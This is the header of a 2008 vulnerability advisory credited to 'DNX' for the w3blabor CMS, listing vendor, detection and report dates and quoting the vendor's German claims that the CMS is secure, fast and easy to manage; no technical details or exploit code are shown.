# [!] Discovered.: DNX
# [!] Vendor.....: http://www.w3blaborcms.de
# [!] Detected...: 17.10.2008
# [!] Reported...: 29.11.2008
# [!] Response...: xx.xx.2008
#
# [!] Background.: Sicher! Schnell! Einfach!
#                  Das CMS wurde durch diverse Abfragen und Konfigurationen gegen Hackangriffe
#                  abgesichert. Auch arbeitet es sehr stabil und kommuniziert schnell mit der
#                  angebundenen Datenbank. Die Verwaltung gestaltet sich als besonders einfach im
#                  Gegensatz zu vielen anderen Content Management Systemen - Und genau das macht
#                  es zu etwas Besonderem!
